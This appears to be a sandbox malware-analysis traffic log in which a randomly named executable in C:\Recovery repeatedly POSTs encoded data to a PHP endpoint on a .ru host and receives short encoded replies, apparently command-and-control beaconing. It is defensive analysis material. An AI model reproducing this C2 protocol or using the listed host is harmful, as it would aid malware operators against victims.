0	192.168.2.4	49734	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:29.910341024 CET	302	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 336 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:30.260318041 CET	336	OUT	Data Raw: 00 0b 04 07 06 0b 01 07 05 06 02 01 02 05 01 06 00 07 05 0b 02 02 03 00 02 04 0c 05 04 0f 00 05 0d 00 05 0a 01 00 06 02 0b 0b 05 0b 07 53 05 02 06 01 0e 0f 0d 05 01 00 06 52 04 0c 04 01 00 0a 03 04 0e 0e 05 53 01 01 0e 04 0d 04 0d 0c 0d 06 06 04 Data Ascii: SRSUVTRUQ\L}Q`X`qLbu`\|Ua`lU_k`loBl[{`[Z}}UQtdp~O~V@{}zuy
Dec 21, 2024 11:07:30.995126009 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:31.241374969 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iCBuXEpXZ9RBRCHiobyIWlQ5uBoVhrGrUT1FYurhISrLxfZDWerbAIX6o56wyXM4C9az2lh9bu6GxB01PhrpNCUMGSCR04BBkmBmqk8Wj93IEcR2MRfSmlBZP0tFC0iSf9nvNnTA3dw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710c9be087cf6-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4728&min_rtt=1921&rtt_var=6335&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=638&delivery_rate=59882&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 35 35 34 0d 0a 56 4a 7e 4d 78 43 55 01 6c 62 5a 4b 7f 61 60 5e 7c 67 73 0d 68 06 66 52 7b 63 52 00 7e 5c 78 03 74 5d 58 52 6d 58 65 00 77 66 64 00 69 61 78 01 55 4b 71 09 63 61 60 59 6b 5b 7d 05 68 67 5f 53 7b 48 73 50 7e 63 78 5d 62 62 79 41 63 71 6d 47 68 61 62 03 7e 6f 7c 0c 7d 64 60 5f 62 5c 7b 06 7c 5c 71 04 7e 06 61 4a 78 59 7c 06 6f 59 60 06 7b 43 67 01 6e 5c 52 00 6f 60 7e 4c 7f 5e 74 44 6c 77 78 44 69 62 55 04 62 5f 60 48 7a 51 41 5b 6b 59 78 4f 68 61 57 0a 75 6c 68 02 6c 0a 64 05 74 60 62 0c 6d 4f 6e 58 6a 42 7a 04 6f 5f 71 59 76 70 67 01 61 5f 70 41 77 07 7e 50 7e 5d 7a 06 77 4c 6d 01 76 65 6b 50 7e 7c 66 59 77 7c 7b 5d 7f 70 7c 03 78 6c 60 5a 7a 70 66 03 6b 6d 6f 51 77 77 6f 5f 69 62 6e 09 7e 7d 63 0b 7b 6e 66 07 7e 72 71 4d 7b 5d 46 51 7c 42 7f 50 7d 60 52 08 7c 67 79 5c 78 6d 59 06 7b 62 7b 5a 68 5f 56 5e 7e 49 73 0a 6b 5e 7d 0c 6d 5a 7c 4d 6a 5c 7b 5a 74 63 57 51 7b 5c 79 00 76 48 5a 00 7d 76 68 4f 7f 76 7d 0b 76 62 59 02 7f 4c 79 4f 7f 59 66 0c 78 76 78 41 7c 73 51 02 75 72 5f 04 74 [TRUNCATED] Data Ascii: 554VJ~MxCUlbZKa`^\|gshfR{cR~\xt]XRmXewfdiaxUKqca`Yk[}hg_S{HsP~cx]bbyAcqmGhab~o\|}d`_b\{\|\q~aJxY\|oY`{Cgn\Ro`~L^tDlwxDibUb_`HzQA[kYxOhaWulhldt`bmOnXjBzo_qYvpga_pAw~P~]zwLmvekP~\|fYw\|{]p\|xl`ZzpfkmoQwwo_ibn~}c{nf~rqM{]FQ\|BP}`R\|gy\xmY{b{Zh_V^~Isk^}mZ\|Mj\{ZtcWQ{\yvHZ}vhOv}vbYLyOYfxvxA\|sQur_taq\|qTF\|xA~wYKwaw{\}}^[xYlN{I^xCcyr\|Izc\\|NZKxYt~\g@vqVG}R]K\|gpO\|_m@vl\|Lz\|pwpzzaa\|l~{qfFvcuOxtqnA~
Dec 21, 2024 11:07:31.241487026 CET	926	IN	Data Raw: 60 58 4d 74 5c 5f 07 77 75 70 09 7c 6c 61 05 77 42 60 42 7c 4d 78 4b 78 42 7b 4b 7b 60 66 06 7d 6d 52 0a 74 49 74 41 7f 62 72 09 7d 6d 55 41 78 7d 76 04 7e 72 71 4d 7c 60 68 0b 7d 6c 60 41 7f 70 56 09 7e 67 50 4d 7b 6d 51 44 78 4c 64 46 7c 5f 51 Data Ascii: `XMt\_wup\|lawB`B\|MxKxB{K{`f}mRtItAbr}mUAx}v~rqM\|`h}l`ApV~gPM{mQDxLdF\|_Q}Yspiz]t~L`IwM}zqiuXtJ\|fZOfmOwrJ\|r}BIPAyvxA~]{GurqNtOa\|O~lpwQvaw{rq~`_xgpCyw^x}z\\|xMT{]NZlwpDi[gv\|H\|\|\|gd\|ayCalNz\|ptsbnXaG}Bv_z\y
Dec 21, 2024 11:07:31.293378115 CET	278	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 384 Expect: 100-continue
Dec 21, 2024 11:07:31.607621908 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:31.607817888 CET	384	OUT	Data Raw: 5c 5b 43 58 5f 5b 55 58 54 5d 59 5a 55 5e 57 56 56 50 5c 5f 52 53 5b 58 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \[CX_[UXT]YZU^WVVP\_RS[XYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A)-\<'+D?<!Y%(***Z(:( +88X"8&='[$.Y!;
Dec 21, 2024 11:07:32.070884943 CET	962	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=904do9T80QVVixP5gzHMummnV%2Bu9y%2FQKr6r3Veo4hfq%2FIVHP7PXhywsqQUeewMej26QYCceGQYA3S05X1h5fBVLutUcko3w8Z1iaDxOaXjIhELGqtw5Ukkbj83BEPtU0nsQqWtOq%2FaY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710cd889b7cf6-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6525&min_rtt=1921&rtt_var=8357&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2212&recv_bytes=1300&delivery_rate=2203219&cwnd=196&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 10 24 05 32 11 2a 29 3f 5b 28 3f 2e 0a 28 3c 22 15 2e 22 2d 17 33 1d 34 1c 2c 05 29 1b 28 33 04 01 2a 2d 01 08 28 51 2f 5a 2b 38 2e 58 03 11 24 5e 36 3a 02 02 2b 06 0c 0a 3a 3b 26 03 23 2d 3c 04 2d 06 3d 1e 32 00 07 0d 21 04 27 1d 2f 57 23 0a 2f 5f 3f 5e 31 09 2c 0c 26 14 2e 53 0c 16 21 02 2a 5b 3d 5a 32 01 29 10 27 51 39 0b 20 36 2b 0f 20 2b 37 08 30 3c 32 5a 30 00 3c 57 29 30 07 1c 2b 01 3d 19 3f 39 35 19 3f 11 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989$2)?[(?.(<"."-34,)(3-(Q/Z+8.X$^6:+:;&#-<-=2!'/W#/_?^1,&.S!*[=Z2)'Q9 6+ +70<2Z0<W)0+=?95?&U."S=ZP0
Dec 21, 2024 11:07:32.189333916 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1728 Expect: 100-continue
Dec 21, 2024 11:07:32.503451109 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:32.503675938 CET	1728	OUT	Data Raw: 59 5d 43 59 5f 5e 50 59 54 5d 59 5a 55 50 57 51 56 5d 5c 54 52 56 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]CY_^PYT]YZUPWQV]\TRV[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=>,$V>>,+&+:Y+>*#?(;+6(;R2'[$.Y!
Dec 21, 2024 11:07:33.011532068 CET	964	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AKTkFSH3hVdLgCOBS6tu9EY3Q3Xu40nhkJ7e%2FMbyKKdxGAEmBXjoMMBrUEFLp9%2FzSHmwp5hZYBxf%2B%2Bl6HznXlieQt5qhPQykumt1LJmqOi7lIBLCf2pxPSmSci96EgGJwy16mU0di1U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710d32c047cf6-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=7232&min_rtt=1915&rtt_var=8107&sent=13&recv=14&lost=0&retrans=0&sent_bytes=3199&recv_bytes=3307&delivery_rate=2203219&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 1d 30 3b 00 5f 29 17 38 06 3f 02 21 52 2b 2c 3d 01 2f 0c 31 5c 30 23 3b 00 2c 02 22 0b 3c 23 25 59 2b 3d 27 09 3f 51 37 5b 2b 28 2e 58 03 11 27 02 21 2a 2b 58 28 28 35 52 39 2b 3a 04 34 13 33 5d 2e 16 25 56 32 00 2e 53 35 2a 0e 0f 2e 21 38 1f 38 29 0e 07 26 27 33 55 31 04 2e 53 0c 16 21 00 3e 03 2d 11 32 2c 39 1f 24 37 2a 55 22 40 23 0a 20 28 3f 0a 27 3c 08 59 24 3e 3f 0a 2b 23 39 1e 28 01 0c 09 3f 39 2a 0b 28 3b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 9890;_)8?!R+,=/1\0#;,"<#%Y+='?Q7[+(.X'!+X((5R9+:43].%V2.S5.!88)&'3U1.S!>-2,9$7U"@# (?'<Y$>?+#9(?9(;&U."S=ZP0
Dec 21, 2024 11:07:33.041229963 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:33.355396986 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:33.355595112 CET	2292	OUT	Data Raw: 59 52 43 5b 5f 5d 50 52 54 5d 59 5a 55 5d 57 5e 56 5a 5c 5f 52 5e 5b 5d 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRC[_]PRT]YZU]W^VZ\_R^[]YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=(?'<>$<-X25* (X=<<;(^!+V2='[$.Y!7
Dec 21, 2024 11:07:33.831420898 CET	811	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XpplMMerYDP7UUCXclpSplaAZMgz0TEELgPlwKZpF3NdDSIoI3QhSMLPvbRR96IAtFhqpB4OnCQuv9K18tdL%2BAxXZAIFKcwiYL2R78CfFWl4DqH0dj5A%2FvxSjKE7p0qfMc29zG4gnww%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710d87f817cf6-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=8694&min_rtt=1915&rtt_var=9776&sent=18&recv=19&lost=0&retrans=0&sent_bytes=4188&recv_bytes=5878&delivery_rate=2203219&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:31.532006025 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2288 Expect: 100-continue
Dec 21, 2024 11:07:31.897702932 CET	2288	OUT	Data Raw: 59 52 46 5c 5a 5d 50 5c 54 5d 59 5a 55 58 57 5e 56 5d 5c 55 52 55 5b 5c 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRF\Z]P\T]YZUXW^V]\URU[\YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=*]((W(>C??6&+=V>;X+"( T?(^#+#2-'[$.Y!
Dec 21, 2024 11:07:32.618983984 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:32.865355968 CET	804	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NmvfWx3TZuRdU9PZN4tK8SZGAceNTYs7kdsbIiB6qCP0WFpjvGL3qa8e1Gm9jUOhB9LrRdIsypKzoo0RjJbsYs06wo8vVnKGn135l8ofFQuZ2RuvyuXNxIW%2BE0E0ppWo3ln053pRsEE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710d3db3243c2-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=2774&min_rtt=1568&rtt_var=3001&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2567&delivery_rate=130101&cwnd=151&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:34.690282106 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2288 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:35.040878057 CET	2288	OUT	Data Raw: 5c 5c 46 5e 5a 5e 50 58 54 5d 59 5a 55 58 57 50 56 5b 5c 5a 52 50 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \\F^Z^PXT]YZUXWPV[\ZRP[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!-6Y+//?>#E?&^:)#Y(.P( V(+8"+?V&='[$.Y!;
Dec 21, 2024 11:07:35.786897898 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:36.021339893 CET	807	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P%2FIF4QPZNoKWxVUNjHaijDhcw3e62dwhoYvUA40SJ0oE0OGPsbJCS06Ryfd88UneYAlWs76OHjoxNXDEDHGfub3%2BKi6CdzxHbcg0utO6sOzJs2niOI9G%2BGmSH7CqHyNuhaRVP7xOXuM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710e79b06de98-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4030&min_rtt=1471&rtt_var=5671&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2591&delivery_rate=66514&cwnd=211&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49742	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:36.477547884 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:36.822056055 CET	2292	OUT	Data Raw: 59 52 43 5c 5f 5d 50 5a 54 5d 59 5a 55 51 57 56 56 5d 5c 59 52 55 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRC\_]PZT]YZUQWVV]\YRU[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!B>-!>/8T<>C(X&+5=:8(-<W+?"++2'[$.Y!
Dec 21, 2024 11:07:37.576237917 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:37.819741011 CET	807	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=smiE7Doxe1hW96x0W%2BdBbcRkQqt%2FHOK4TdlRb96pOJUW%2BvBH7XszmZWzg0weZo5Nh6BID5J2beTwQeexLS16R9x6PA19Qs7ktQ8KvkhB64Qdv0AomTOBCt7XaIfGq6GL0eLyHAt0WZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710f2daea0f8d-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4127&min_rtt=1644&rtt_var=5584&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=67859&cwnd=176&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49744	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:38.240843058 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1728 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49745	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:38.431241989 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:07:38.775192976 CET	2292	OUT	Data Raw: 59 5d 43 53 5f 5d 50 58 54 5d 59 5a 55 5d 57 56 56 5e 5c 55 52 52 5b 5f 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]CS_]PXT]YZU]WVV^\URR[_YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!)-++.@<<5]&8P)+>?<<"8 1'[$.Y!7
Dec 21, 2024 11:07:39.517544031 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:39.757760048 CET	815	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SuovHaQk61mQFtWn9j7loliYwi7P4qXBzBR4SCdz%2B2XdFe3fTGx%2FcM%2FoNFn%2FZ7UU%2F8WrjRI5%2FLi60kEv2us88l%2Bwi5pwKVsHNHpUO0Okd4C3ELHoYPskWMgRoAvjWXXQ80mG8npnJPg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5710fefca78c21-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3982&min_rtt=1965&rtt_var=4771&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=80649&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49746	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:07:40.247718096 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:07:40.603425026 CET	2292	OUT	Data Raw: 59 5a 43 5b 5a 59 55 5e 54 5d 59 5a 55 5f 57 54 56 59 5c 5b 52 56 5b 56 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZC[ZYU^T]YZU_WTVY\[RV[VYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!D>-&^?,8V+.,+<%5Q>9?Z+-2(V +]<\6'&-'[$.Y!
Dec 21, 2024 11:07:41.339864969 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:07:41.585443974 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RSmfjNFo55212boV6pAluj5au3FIV43xcJYgu48d3H16r%2F9eTIbUrscjnxcg10OpSHuv9H8zDcs3dtsymDxYE1y4yg%2Fr985mz9b%2FyzcdKuJrjTG42VUt2NknUHe9EWs%2FtZkkIc323m4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57110a5f5241d2-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4358&min_rtt=1627&rtt_var=6073&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=62177&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

